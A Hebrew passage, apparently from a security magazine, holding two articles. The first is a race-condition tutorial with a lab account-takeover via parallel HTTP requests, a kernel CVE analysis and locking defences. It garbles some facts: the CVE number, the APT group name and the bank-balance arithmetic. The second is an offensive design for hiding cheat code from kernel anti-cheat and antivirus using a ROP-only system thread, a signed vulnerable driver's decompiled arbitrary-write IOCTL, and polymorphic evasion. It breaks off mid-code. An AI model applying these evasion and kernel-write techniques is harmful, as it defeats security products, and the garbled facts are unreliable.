אז מצאנו שכתובת המייל נמצאת בתוך הבקשה הנשלחת לנקודת הקצה, וגם שקיים סשן מסוים למשתמש שמחובר, ננסה לבדוק מה יקרה אם נשלח שתי בקשות במקביל עם אותו הסשן אבל כתובת מייל שונה, אחת תהיה של המייל שאליו נרצה לשנות והשניה תהיה כתובת המייל אותה רצינו לשייך למשתמש שלנו במטרת המעבדה.

Send group (parallel) | Cancel | Follow redirection | Burp AI | Target: https://0a9d0059031ee1d78037b7

Request (Pretty / Raw / Hex)

```
POST /my-account/change-email HTTP/2
Host: 0a9d0059031ee1d78037b77d006b0035.web-security-academy.net
Cookie: session=95OgZWt3J72P1htrIQFu2rdN5H3XjFU4
Content-Length: 112
Cache-Control: max-age=0
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-US,en;q=0.9
Origin:
https://0a9d0059031ee1d78037b77d006b0035.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;
q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer:
https://0a9d0059031ee1d78037b77d006b0035.web-security-academy.net
/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

email=
wiener%40exploit-0ab7008303aae1de8022b65801bc00dc.exploit-server.
net&csrf=36eymH1vDP8jKoPYyA4HUpw4LIR38f8j
```

Response (Pretty / Raw / Hex / Render)

```
HTTP/2 302 Found
Location: /my-account
X-Frame-Options: SAMEORIGIN
Content-Length: 0
```

Send group (parallel) | Cancel | Follow redirection | Burp AI | Target: https://0a9d0059031ee1d78037b7

Request (Pretty / Raw / Hex)

```
POST /my-account/change-email HTTP/2
Host: 0a9d0059031ee1d78037b77d006b0035.web-security-academy.net
Cookie: session=95OgZWt3J72P1htrIQFu2rdN5H3XjFU4
Content-Length: 69
Cache-Control: max-age=0
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-US,en;q=0.9
Origin:
https://0a9d0059031ee1d78037b77d006b0035.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;
q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer:
https://0a9d0059031ee1d78037b77d006b0035.web-security-academy.net
/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

email=carlos%40ginandjuice.shop&csrf=
36eymH1vDP8jKoPYyA4HUpw4LIR38f8j
```

Response (Pretty / Raw / Hex / Render)

```
HTTP/2 302 Found
Location: /my-account
X-Frame-Options: SAMEORIGIN
Content-Length: 0
```

Search | 0 highlights | Search | 0 highlights

לפי תגובת השרת שתי הבקשות עובדו בהצלחה, נבדוק את תיבת המייל כעת.

Sent	To	From	Subject	Body
2025-10-08 12:44:37 +0000	wiener@exploit-0ab7008303aae1de8022b65801bc00dc.exploit-server.net	no-reply@0a9d0059031ee1d78037b77d006b0035.web-security-academy.net	Please confirm your e-mail	To confirm your email change to carlos@ginandjuice.shop, click the link below Click here to confirm. View raw

קיבלנו מייל לאישור של הכתובת החדשה אותה רצינו לייחס בשונה מהמייל הראשוני שקיבלנו לאישור כשבדקנו את התהליך. נאשר את החלפת המייל ונחזור לפרופיל המשתמש באתר.

אכן הצלחנו להשתלט על כתובת המייל של קרלוס וכעת נפתח לנו גם פאנל האדמין שם ניתן למחוק משתמשים, נגלוש לפאנל ונסיר את המשתמש של קרלוס.

סוגי מצבי מרוץ

- TOCTOU (Time-of-Check to Time-of-Use) - מצב בו תוכנה בודקת משאב מסוים, למשל קובץ או הרשאה, ומשתמשת בו מאוחר יותר בהנחה שהוא עדיין נכון, אך תוקף יכול להחליף או לשנות אותו בטווח הזמן הזה.
- Data race - המצב קורה כאשר שתי תהליכים או יותר מנסים לגשת לאותו חלק בזיכרון בו זמנית ולפחות אחד מהם כותב אליו, המצב מוביל להתנהגות לא צפויה ויכול להשחית את התוצאה.
- Race in file operations - כאשר מספר תהליכים מנסים ליצור, לפתוח או למחוק קובץ מסוים בו זמנית, מה שיכול להוביל לדריסה, הסלמת הרשאות (Privilege Escalation) או דליפת מידע רגיש.
- Race in privilege escalation - קורה כאשר המערכת משנה הרשאות, למשל החלפה בין משתמש רגיל למשתמש root, והפעולה לא מתבצעת בסנכרון מתאים, תוקף יכול לנסות בזמן הזה לבצע פעולות המצריכים הרשאות גבוהות יותר.

- Race in authentication or session handling - כשהמערכת מאמת זהות מסוימת או טוקן לסשן, אבל לא נועלת (נפרט על נעילות בהמשך) את המשאב בהתאם ומאפשרת לתוקף לעשות שימוש חוזר או לחטוף את הסשן לפני שפג תוקפו.
- Race in resource allocation - כשמספר משתמשים או תהליכים מנסים לתפוס משאב מוגבל מסוים, למשל בלוקים בזכרון או Sockets, והמערכת לא מאלצת נעילות מתאימות, זה יכול להוביל ל-DOS או דליפת מידע.

עוד במהלך הפיתוח כדאי לשים לב ולהעריך את הסיכויים להיווצרות אחד מהמצבים האלו, לעיתים קשה לשחזר לאחר הפיתוח אך תכנון נכון של הלוגיקה של תהליכים יכול להקטין את הסיכוי שיקרו.

הגיע הזמן לנתח ביחד חולשה אמיתית שהתגלתה

אם חשבתם ש-race conditions קיימים רק בעולמות ה-Web, הרשו לי להפתיע אתכם, יוני שנת 2024, מיקרוסופט משחררת Patch לחולשה עם חומרה גבוהה (7.0) בגרעין של ווינדוס (Windows Kernel), חולשה שלימים הוכח שנוצלה על ידי על ידי קבוצת תוקפים בשם APT3.

הכירו את חולשה:CVE-2024–3008, אך לפני שנצלול לניתוח החולשה נבין קודם כמה מושגים, הראשון הוא Kernel. ה-Kernel הוא הגרעין של מערכת ההפעלה, חלק מרכזי האחראי על ניהול משאבי המחשב המשמש כמעין גשר בין החומרה לתוכנה. הגרעין אחראי על שליטה בניהול המעבד, הזיכרון, רכיבים שמחוברים למחשב, איזה תהליכים רצים ומתי ומנהל את הגישה לקבצים, חלק מתפקידיו גם לספק גבולות אבטחה מסוימים. אפשר להתייחס לגרעין כאל "המוח" של מערכת ההפעלה שדואג שהכל ירוץ חלק ובאופן בטוח.

אז אחרי שהבנו מה תפקידו של הגרעין, נעבור לניתוח החולשה. החולשה נובעת ממצב של כשל מסוג TOCTOU, מה שהוביל את החוקרים למצוא שניתן לבצע הסלמת הרשאות. במקרה הנ"ל הגרעין מוודא את המצב של המשאב, למשל כתובת בזיכרון או חוצץ מסוים (Buffer), ולאחר מכן עובר להשתמש בו. אך ייתכן ומצב הזה התעדכן או שונה בפרק הזמן הקצר הזה ובמיוחד שהמשאב נשלט על ידי תהליך בשליטת המשתמש, מה שפותח דלת לתוקפים להשיג שליטה ברמת מערכת או להזריק מידע זדוני. מהבדיקה עולה כי רצף הפעולות קרה באופן הבא: הגרעין בודק את גודל ופריסת החוצץ המסופק על ידי המשתמש, ומתחיל להעתיק מידע ממנו (למשל שמות, טיפוסים, ערכים ועוד). בפועל, בין בדיקת המצביע לחוצץ וכתיבת המידע, לא מתבצעת נעילה כראוי של המשאב, מה שיוצר חלון מירוץ קלאסי לתוקפים.

תהליכים זדוניים עלולים:

1. להעביר מצביע תקף בזמן הבדיקה.
2. בזמן החלון, לשנות את המצביע או את התוכן.
3. להחליף את מיקום הכתיבה למיקום בשליטת התוקף.

מה ששובר את הבידוד בין הגרעין למשתמש ונותן לתוקף למעשה שליטה ברמת הגרעין.

מבין המערכות שנפגעו היו גרסאות של ווינדוס 10, ווינדוס 11 ובפוטנציאל גם גרסאות שונות של שרתים החולקים גרעין בסיסי משותף עם מערכות אלו.

ב-Patch ששוחרר מיקרוסופט התייחסו לנושאים הבאים, הוספת ולידציה נוספת מפורשת למצביעים שמגיעים ממשתמש טרם ביצוע כתיבה, הוספת נעילות זיכרון מתאימות למניעת מצבי המירוץ ועוד.

וכמו שאנחנו כבר יודעים, תוקפים זדוניים לא מחכים יותר מדי, ומהר מאוד חוקרים מ-Trend Micro קישרו ניצול בפועל של החולשה לקבוצת התקיפה 34APT.

שיטת הפעולה שלהם הייתה למצוא תשתיות קריטיות בתחומי האנרגיה, הגז ועוד, להשתמש ב- Multi Stage Implants הכוללים בתוכם דלתות אחוריות וגונבי טוקנים, לחפש עקביות באמצעות שינויים ב-Registry וניצול לרעה של כלי מובנים במערכת ההפעלה, נוסף על כך שילבו את התקיפה עם מתקפות phishing נרחבות כדי ליצור את הכניסה הראשונית למערכות.

הקבוצה מנצלת את מערכות שלא עודכנו באופן אגרסיבי, מה שמדגיש את החשיבות של ביצוע עדכונים בזמן.

אז איך מתגוננים ממצבים כאלו?

לפני שניכנס לעובי הקורה, חשוב להבין מספר מושגים, הראשון יהיה קטע קריטי.

קטע קריטי הוא חלק בקוד בו מתבצעת גישה או שינוי של משאב משותף, למשל משתנה בזכרון או קובץ.

השני יהיה פעולה אטומית, אטומית הכוונה שפעולה מתרחשת בשלמותה או לא מתרחשת כלל.

והשלישי יהיה נעילה, מטרתה של הנעילה להגן על הקטע הקריטי בכך שהיא מבטיחה שרק תהליך אחד יכול להיכנס לקטע בכל רגע נתון, מה שייצור סינכרוניזציה בין תהליכים ומונע פגיעה בעקביות הנתונים.

נניח למשל מערכת שמנהלת חשבון בנק, כערך התחלתי יש בחשבון יתרה של 100 ש"ח. במערכת יצרנו פונקציה בשם update_balance שתפקידה לעדכן את היתרה בכל פעולת הפקדה או משיכה מהחשבון בהתאם לסכום שהיא מקבלת כפרמטר (הפקדה תהיה עם מספר חיובי, ומשיכה תהיה עם מספר שלילי), היא תיראה בערך ככה:

```
update_balance(amount):
        current_balance+=balance
```

כעת שתי תהליכים ניגשים לפונקציה זו זמנית, האחד ימשוך 50 ש"ח והשני יפקיד 100 ש"ח, מה תהיה היתרה בסוף הפעולות? אז מאחר ואין אנו יכולים לדעת מי ביצע את הפעולה קודם, התוצאה תהיה לא צפויה וייתכן מקרה בו משיכת הכסף מהחשבון תהיה על היתרה המקורית במקום על המעודכנת בסוף נקבל שהיתרה בחשבון תהיה 950 ש"ח כשזו אינה היתרה האמיתית. עם נעילה מסביב לפונקציה הזו, רק תהליך אחד ייגש לחשבון, יעדכן את היתרה בהתאם, והתהליך השני יבצע את הפעולה שלו על יתרה מעודכנת. הנעילה מבטיחה לנו רצף פעולות תקין גם כשיש ריבוי תהליכים.

קיימים מספר סוגי נעילה שונים:

- Mutex - הסוג הפשוט ביותר, רק תהליך אחד יכול להחזיק בנעילה ולשחרר אותה בכל רגע נתון, אחד נעל ורק הוא יכול לפתוח.
- Semaphore - כאשר מספר מוגבל מראש של תהליכים צריכים לגשת למשאב מסוים בו זמנית, ניתן להתייחס לMutex כמקרה פרטי של Semaphore כשהמספר המוגבל הוא 1, שימושי עבור הגבלת משאבים כמו חיבורי רשת.
- Read-Write Lock - מאפשר להרבה קוראים לגשת למשאב אך הכתיבה יכולה להתבצע רק כאשר כל הקוראים מסיימים, שימושי במצבים בהם יש קריאה מרובה אך העדכונים מעטים.
- Spinlock - גורם לתהליך להמתין לשחרור המנעול באמצעות לולאה במקום "לישון", יכול להקטין את זמן ההמתנה אך גם "לבזבז" הרבה זמן מעבד אם ההמתנה ארוכה.
- Reentrant lock - נעילה רקורסיבית המאפשרת לאותו התהליך לנעול שוב את המשאב מבלי להוביל למבוי סתום, שימושי כאשר פונקציה מסוימת צריכה להפעיל פונקציה אחרת מתוכה אף מאחר והן מגיעות באותו התהליך עם מנעול אחר היא תחסם, למשל פונקציה אחת פותחת את הקובץ ומפעילה פונקציה שמעדכנת נתונים בתוכו.

שיטה נוספת להתגונן תהיה תכנון קוד ללא שיתוף מצב (shared state), כלומר כל תהליך עובד על עותק משלו של הנתונים וכך לא צריך לעשות סינכרוניזציה ביניהם. זהו עקרון נפוץ בתכנות פונקציונלי ומערכות מבוססות message passing כמו Actor model, כל "שחקן" מחזיק מצב פנימי ומתקשר עם "שחקנים" אחרים באמצעות הודעות.

נבחן ביחד תרחיש מציאותי

בתרחיש הזה יש לנו מנעול חכם לדלת שאפשר לפתוח דרך אפליקציה, ובמקביל רץ עליו מנגנון נעילה אוטומטית אחרי כמה דקות. הקוד מחזיק משתנה משותף lock_state שמייצג את מצב הדלת, ומשתמש בשתי פונקציות שונות: אחת שפותחת את הדלת דרך האפליקציה, ואחת שסוגרת אותה אוטומטית.

```
lock_state = "locked"  # shared state in memory
def unlock_via_app(user_id):
    # Step 1: check if user is allowed to unlock
    if has_access(user_id):
        global lock_state
        # Step 2: update internal state
        lock_state = "unlocked"
        # Step 3: send command to the physical lock
        send_command_to_lock("UNLOCK")
        return "door unlocked"
    else:
        return "access denied"
def auto_lock():
    global lock_state
    # Step 1: check current state
    if lock_state == "unlocked":
        # Step 2: update internal state
        lock_state = "locked"
```

הבעיה מתחילה כששתי הפעולות האלו רצות כמעט באותו הזמן. למשל, בדיוק כשהמשתמש פותח את הדלת דרך האפליקציה, תהליך הנעילה האוטומטי נכנס לפעולה. אחת הפונקציות קוראת את המצב כ-"unlocked" ומנסה לנעול, השנייה משנה ל-"unlocked" ושולחת פקודת פתיחה.

בגלל שאין כאן פעולה אטומית אחת שמבטיחה סדר ברור, ייתכן מצב שבו המנעול הפיזי יישאר פתוח בזמן שהמערכת חושבת שהוא נעול, או להפך.

זהו Race Condition קלאסי במכשיר חכם, חוסר תיאום בין כמה תהליכים גורם לכך שמצב האמת בעולם הפיזי והמצב הלוגי בקוד מתנתקים אחד מהשני, ומהר מאוד הופכים לחולשה לוגית עם השלכות אבטחה מאוד לא נעימות.

איך מתגברים על זה? נשתמש במנעול ונכריח את המערכת לעבוד בצורה שרק פעולה אחת יכולה לגשת למצב המנעול בכל רגע נתון, כלומר שאם תהליך אחד מחזיק את הנעילה, כל שאר התהליכים לא יוכלו להתבצע עד שהוא ישחרר את המנעול.

בכך אנחנו מעלימים את החלון הקטן שנוצר בין שתי פעולות קוראות וכותבות בו זמנית. מנגנונים מסוג זה נפוצים במכשירים חכמים ומערכות IoT בהן תזמון תהליכים קריטי וחשוב למניעת בלאגן גדול.

```
from threading import Lock
state_lock = Lock()
lock_state = "locked"
def unlock_via_app(user_id):
    if has_access(user_id):
        global lock_state
        # Acquire the lock before touching shared state
        with state_lock:
            lock_state = "unlocked"
            send_command_to_lock("UNLOCK")
        return "door unlocked"
    return "access denied"
def auto_lock():
    global lock_state
    # Acquire the lock before reading and updating
    with state_lock:
        if lock_state == "unlocked":
            lock_state = "locked"
            send_command_to_lock("LOCK")
```

סיכום

לסיכום, ניתן להשתמש גם בפעולות אטומיות כפי שצוין קודם ומבני נתונים יעודיים שנקראים lock-free structures, מבנים אלו מבטיחים שהפעולה תתבצע בשלמותה מבלי התנגשויות בין התהליכים, מתאים בדרך כלל לפעולות פשוטות כמו עדכון מונה או דגל.

במערכות ווב המצב קצת שונה, המירוץ קורה בעיקר בין בקשות HTTP שונות המגיעות במקביל, לצורך כך ניתן להשתמש במנגנוני idempotent keys, מזהים חד פעמיים לכל בקשה (למשל בעת תשלום) כך שגם אם אותה הבקשה נשלחת פעמיים רק אחת מהן תתבצע בפועל.

כמו כן גם שימוש ב-database transactions או row-level locking מבטיחים כי רק תהליך אחד משנה את השורה בכל פעם.

יש גם גישות נוספות כמו למשל optimistic concurrency control, בגישה הזאת הבקשות נשלחות כרגיל אך לפני ביצוע העדכון המערכת בודקת אם הנתונים לא השתנו מאז שנקראו, אם בוצע שינוי הבקשה נדחית או נשלחת שוב.

ולבסוף, ניתן להשתמש גם בשכבת היישום עצמה, שימוש בתורים או מערכות הודעות למיניהם מאפשרות ניהול סדר מסוים לבקשות מה שיכול למנוע מקביליות בטיפול בבקשות.

בשורה התחתונה, אין פתרון אחד שמתאים לכל מערכת, תכנון ושילוב נכון בין השיטות והפתרון הוא הדרך האידיאלית להגן על הקוד והמערכת מrace conditions בזמן אמת.

על המחבר

אז למי שעדיין לא מכיר, אני דוד סטרינסקי סטודנט למדעי המחשב, והנדסאי תוכנה עם התמחות בסייבר.

מדריך בקורס רשתות תקשורת בתוכנית מגשימים וחובב טכנולוגיה. משתדל להישאר בתנועה ולהרחיב את הידע שלי בתחום ושמח תמיד לשמוע וללמוד דברים חדשים, אז מי שמעוניין לשמור על קשר בלינקדאין מוזמנים לשלוח קונקשן ונדבר: https://www.linkedin.com/in/david-starinsky/

מקורות מידע

- https://cwe.mitre.org/data/definitions/362.html
- https://cwe.mitre.org/top25/archive/2024/2024_key_insights.html
- https://www.hackerone.com/blog/how-race-condition-vulnerability-could-cast-multiple-votes
- https://www.bugcrowd.com/wp-content/uploads/2024/01/Inside-the-Platform-Vulnerability-Trends-Report.pdf
- https://portswigger.net/web-security/race-conditions
- https://portswigger.net/research/smashing-the-state-machine
- https://nvd.nist.gov/vuln/detail/cve-2024-30088
- https://medium.com/@shira.borochovich/cve-2024-30088-kernel-level-toctou-vulnerability-abused-by-apt34-for-privilege-escalation-in-5a75035bf076
- https://hackerone.com/reports/2598548
- https://www.guidepointsecurity.com/blog/race-conditions-in-modern-web-applications
- https://www.bugcrowd.com/blog/racing-against-time-an-introduction-to-race-conditions

Hiding under ROP for fun and profit

מאת אריאל טרי

הקדמה

במאמרי הקודם כתבתי על הקרב בין כותבי תוכנות רמאות (צ'יטים) למשחקי מחשב, לבין מפתחי תוכנות ותשתיות האנטי-צ'יט. מדובר בתחום שלא מפסיקים לחדש בו – משני הצדדים, שמתקיים כבר שנים רבות. במערכות הגנה מודרניות לא מעט מהמאמץ מושקע בזיהוי התנהגותי ולא בחתימות סטטיות, המשמעות היא שגם אם הקוד שלך אינו מוכר, עצם הדרך שבה הוא נטען, או מאיזה מיקום הוא רץ, יכולה להסגיר אותו. אז חשבתי לעצמי, במקום להיאבק במנגנוני ההגנה, מה אם פשוט נפסיק להיראות כמו משהו שצריך לזהות?

במאמר זה אני מציג גישה שמטרתה לגרום לקוד לרוץ מהמקום הכי משעמם, הכי רגיל, והכי לא מעניין בעיני האנטי-צ'יט – תחת System thread שנראה לגיטימי ומריץ קוד ממוחזר של מערכת ההפעלה האמיתית בעזרת ROP (Return oriented programming), ללא שום זיכרון Executable משלנו.

נתחיל מלעבור על השיטות העיקריות בהן משתמשות חברות האנטי-צ'יט בשביל לעלות על קוד זדוני בקרנל. אציג את יתרונות השיטה עלייה חשבתי, את הליך הפיתוח וכיצד ניגשתי ללפתור בעיות שונות בהן נתקלתי לאורך הדרך.

חשוב לציין שאני מניח כי קוראי המאמר מבינים מהו ROP, גאדג'טים וכיצד עובד סטאק במעבדי x86.

הכל מתחיל ממחקר

בשביל להתחבא ממוצר הגנה, בין אם מדובר באנטי-צ'יט כמו במקרה שלנו, אנטי-וירוס, או כל מוצר אחר, ניאלץ להתחיל להבין כיצד הוא עובד ומה השיטות המרכזיות שלו. ראשית, לאחר ניסיון לקרוא או לכתוב לזיכרון המשחק (גם מספיק לבצע כמה חיפושים זריזים באינטרנט) נגלה כי איננו יכולים לפתוח Handle עם הרשאות כתיבה או קריאה מזיכרון תהליך המשחק, זאת מכיוון שהאנטי-צ'יטים המודרניים (BattlEye, EAC, Vanguard), טוענים דרייבר שרץ בקרנל, אשר מוסיף קריאה לפונקציית Callback

(על ידי שימוש ב-ObRegisterCallbacks), שמשבש כל בקשה לפתיחת Handle עם הרשאות המאפשרות כתיבה וקריאה לזיכרון המשחק, כמו למשל PROCESS_VM_WRITE.

אז מה מפתחי הצ'יטים החליטו לעשות? פשוט – "בוא נטען דרייבר משלנו, איתו נתקשר ונגיד לו לכתוב לזיכרון המשחק או לקרוא ממנו כרצונינו!" הם אמרו, אבל, איך הם בדיוק יטענו דרייבר? ובכן, במערכת ההפעלה ווינדוס אלא אם כן נכבה את מערכת ה-DSE על ידי הדלקה של Test signing mode (פיצ'ר שאנטי-צ'יטים מוודאים שהוא כבוי לפני הרצת המשחק), נצטרך דרייבר שהוא בעל Digital certificate בתוקף על מנת לטעון אותו לקרנל. ולכן כיום, מה שרוב מפתחי הצ'יטים עושים, זה בעצם למצוא דרייבר צד-שלישי שהינו פגיע (קיימים אינספור דרייברים מתועדים שכאלו כאן), לטעון אותו לקרנל בשיטת "Bring your own vulnerable driver" ובעזרתו לכתוב לזיכרון ולהריץ את הדרייבר הזדוני שלהם שיבצע תקשורת עם התוכנה היוזרמודית שמחליטה לאן ומתי לכתוב או לקרוא מזיכרון המשחק. קיימים שלל פרוייקטים אופן-סורס המבצעים בדיוק את זה (Kdmapper, xigmapper ועוד רבים). הבעיתיות בשיטה הזו, היא שמהרגע שהם טענו והריצו את הקוד של הדרייבר הזדוני שאינו חתום, אלא נכתב לקרנל בעזרת חולשה, ה-System thread שיריץ את הקוד שלהם יכלול מצביעים לכתובות return בסטאק שלו, עליהם בקלות ניתן לעלות משום שמדובר בכתובות שאינן משוייכות לשום דרייבר שנטען בצורה לגיטימית ברשומת הדרייברים. וזה בדיוק מה שאנטי-צ'יטים התחילו לעשות כשהם הוסיפו APC Stack walking ו-NMI Callbacks אשר בודקים את הסטאק שבשימוש על הליבות השונות במעבד כל כמה זמן, עד שלבסוף יתפסו את הליבה בדיוק בזמן הרצת הקוד הזדוני – לאחר כמה בדיקות מדובר בתהליך שלרוב לא לוקח יותר ממספר דקות בשל כמות הזמן הרצה שמקבל ה- System thread הזדוני. (דוגמאות לקוד המדגים את שתי השיטות נמצאות כאן וכאן)

חלקכם אולי שמתם לב, שבשביל לטעון את הדרייבר הזדוני, הדרייבר החולשתי אותו טענו קודם לכן, לרוב ינצל חולשת כתיבה שרירותית לזיכרון המחשב, אז למה לא לקצר את התהליך ופשוט להשתמש בו במקום לטעון דרייבר זדוני? הרי הדרייבר הזה הוא לגיטימי, וחתום. למרות שזה יעבוד, ברגע שמגיעים לסקאלה גדולה של משתמשי הכלי, חברות האנטי-צ'יטים יתחילו להחמיר ולחתום את אותם הדרייברים, או לפחות לסמן כי הרצתם בזמן שתהליך המשחק רץ הינו חשוד. בנוסף מייקרוסופט מתחילים לעבוד על הגנה מפני תקיפות מהסוג הזה, בו הם חוסמים דרייברים רבים על ידי Driver block list, וביטול של הרשימה הזו הוא מעט חשוד, ולכן זה רק עניין של זמן עד שהדבר יתפס. אני, או כל תוקף שמכבד את עצמו, רוצה שיטה שתעבוד לטווח הארוך, תקשה על מפתחי האנטי-צ'יט עד לרמה שהעבודה הידנית לא תהיה שווה עבורם, ותתמוך בכמות רבה של משתמשים - כי למה לא בעצם?

לאחר שהבנו את זה, ניתן לקבוע את היעדים הבאים עבור הכלי שנפתח:

- סטאק הכולל כתובות חזרה **לקוד לגיטימי לחלוטין**
- System thread שיראה לגיטימי מבחנית השדות במבנים המתארים אותו כגון KThread
- אינטיגרציה נוחה לקוד פולימורפי אשר משתנה כל הרצה, מה שיקשה משמעותית על מפתחי האנטי-צ'יט לחקור את הכלי ולייצר חתימות סטטיות עבורו
- שהדרייבר הפגיע שבו נשתמש **לא ירוץ** בזמן שהאנטי-צ'יט רץ, אלא יבצע את תהליך ההתחלה לפני, בשביל שהטעינה שלו לא תיתפס דרך מנגנוני תיעוד כמו ETW
- תמיכה בכמה שיותר גרסאות שונות של ווינדוס
- שיהיה כלי מגניב שאף אחד אחר לא יצר לפני ;)

הצעה לכלי – System thread מבוסס ROP מלא

לאחר קצת מחשבה, הגעתי למסקנה כי יכול להיות שכלי שבנוי כולו מגאדג'טים של ROP, יוכל לסמן וי על כל היעדים שהצבנו לנו. זאת מכיוון שבפיתוח עם ROP אנו משתמשים בקטע קוד שכבר קיימים במערכת ההפעלה והינם לגיטימיים, פשוט בסדר שאנחנו קובעים מה הוא.

ככה שמה שנוכל לעשות הוא: ליצור System thread חדש הרץ בקרנל, המכיל סטאק עליו אנחנו שולטים בעזרת Pivot כלשהו. הסטאק יכיל אך ורק כתובות חזרה לגאדג'טים של ROP, ככה שגם אם יקראו את הסטאק שלנו דרך APC או Callbacks NMI, כשיבוצע Stack unwinding, האנטי-צ'יט יראה כתובות חזרה לגיטימיות.

מבחינת הכלי עצמו, הקוד יבצע לולאת while בדרך כלשהי, יפתח תקשורת וינהל סנכרון אל מול הפרוסס היוזרמודי שלנו. בכך ישלוט הפרוסס צ'יט על כתיבות וקריאות זיכרון לפי פקודות ששולח לתרד הקרנלי.

כלי מהסוג הזה יענה לנו על כל היעדים ואף יותר מהסיבות הבאות:

1. הסטאק יכלול כתובות לגיטימיות לחלוטין
2. System thread עם Start address ו-Metadata תקינים לחלוטין
3. ניתן בקלות רבה לייצר קוד פולימורפי, על ידי מוטציות של גאדג'טי ROP. כגון שימוש בכפילויות של גאדג'טים הנמצאים בכתובות שונות, או תחליפים לגאדג'טים שונים אשר משיגים את אותה המטרה (למשל xor eax, eax ו- mov eax, 0)
4. נוכל להרים את ה-System thread פעם אחת לפני שהאנטי-צ'יט נטען בעזרת הדרייבר החולשתי, לבצע unloading לדרייבר החולשתי ורק אז להתחיל את המשחק והאנטי-צ'יט
5. אמנם זה לא בהכרח יהיה פשוט, אבל בעזרת Scraping של הבינארים השונים בגרסאות השונות של

הקרנל, ופיתוח תשתיות אוטומצייה בסיסיות, נוכל לוודא כי כל גאדג'ט ROP שאנחנו בוחרים בו יהיה קיים **בכל גרסא של מערכת ההפעלה**

6. נוכל אף ליצור **שרת** באינטרנט שיהיה אחראי על יצירת הסטאק שלנו, עבור כל הרצה של הכלי הוא ייצור סטאק חדש, שנראה שונה לחלוטין מהקודם. בנוסף זה יגרום לכך שמפתחי האנטי-צ'יט יידרשו לחקור את הליך היצירה באופן Blackbox לחלוטין משום שמעבר ליצירת ה-Thread וקבלת הסטאק האקראי מהשרת לא יהיה עוד קוד שיוכל להיפרס על ידיהם
7. **ללא אלקוצי זיכרון RX** בכלל, כי סטאק הינו RW **בלבד**
8. סך הכל מדובר בכלי מגניב מאוד לדעתי, ולא ראיתי משהו דומה לזה בעבר!

פרימיטיב כתיבה דרך דרייבר צד שלישי

בשביל להתחיל לעבוד על הכלי עצמו, ניאלץ למצוא דרייבר צד שלישי בעל חתימה דיגיטלית וחולשה המאפשרת לנו לכתוב לזיכרון הקרנל. עשיתי זאת על ידי כתיבת סקריפט פייתון שביצע Scraping לאתרים שמכילים דרייברים להורדה באינטרנט. לאחר ההורדה, הסקריפט ווידא שהדרייבר קורא לפונקציות שיכולות להיות משומשות באופן לא נכון, פונקציות כמו MmCopyVirtutalMemory, ZwMapViewOfSection, MmMapIoSpace ועוד. לא לקח לי הרבה זמן למצוא דרייבר בעל חתימה בתוקף המאפשר כתיבה שרירותית לזיכרון. הדרייבר מקבל כתובות source ו-destination וירטואליות מתהליך יוזרמודי דרך IOCTL, ומבצע כתיבה בעזרת memcpy – מאוד פשוט, אבל מושלם עבורינו.

```
__int64 __fastcall WritePrimitiveIoctlEndpoint(
        int DeviceCtrlCode,
        mem_wr_packet *PayloadData,
        __int64 a3,
        __int64 a4,
        int a5,
        _DWORD *a6)
{
  unsigned int Status; // [rsp+30h] [rbp-58h]
  PHYSICAL_ADDRESS PhysicalAddress; // [rsp+40h] [rbp-48h]
  PMDL MemoryDescriptorList; // [rsp+48h] [rbp-40h]
  PVOID BaseAddress; // [rsp+58h] [rbp-30h]
  PVOID MappedSystemVa; // [rsp+68h] [rbp-20h]

  Status = 0;
  *a6 = a5;
  if ( DeviceCtrlCode != 0x81000000 )           // Check IOCTL code
    return 0xC0000010;                          // STATUS_INVALID_DEVICE_REQUEST
  MemoryDescriptorList = IoAllocateMdl(PayloadData->SrcAddr, PayloadData->Size, 0, 1u, 0);
  if ( MemoryDescriptorList )
  {
    MmProbeAndLockPages(MemoryDescriptorList, 1, IoReadAccess);
    if ( (MemoryDescriptorList->MdlFlags & 5) != 0 )
      MappedSystemVa = MemoryDescriptorList->MappedSystemVa;
    else
      MappedSystemVa = MmMapLockedPagesSpecifyCache(MemoryDescriptorList, 0, MmCached, 0, 0, 0x10u);
    if ( !MappedSystemVa )
      goto LABEL_8;
    PhysicalAddress = MmGetPhysicalAddress(PayloadData->DstAddr);
    if ( (PhysicalAddress.HighPart || !PhysicalAddress.LowPart) && PhysicalAddress.HighPart <= 0 )
    {
      Status = 0xC0000141;                      // STATUS_INVALID_ADDRESS
    }
    else
    {
      BaseAddress = MmMapIoSpace(PhysicalAddress, LODWORD(PayloadData->Size), MmNonCached);
      if ( !BaseAddress )
      {
LABEL_8:
        Status = 0xC000009A;                    // STATUS_INSUFFICIENT_RESOURCES
        MmUnlockPages(MemoryDescriptorList);
        IoFreeMdl(MemoryDescriptorList);
        return Status;
      }
      qmemcpy(BaseAddress, MappedSystemVa, LODWORD(PayloadData->Size));
      MmUnmapIoSpace(BaseAddress, LODWORD(PayloadData->Size));
    }
    MmUnlockPages(MemoryDescriptorList);
    IoFreeMdl(MemoryDescriptorList);
    return Status;
  }
  return 0xC000009A;                            // STATUS_INSUFFICIENT_RESOURCES
}
```

```
#define WRITE_PRIMITIVE_DISPATCH_CODE   0x81000000
template<typename T>
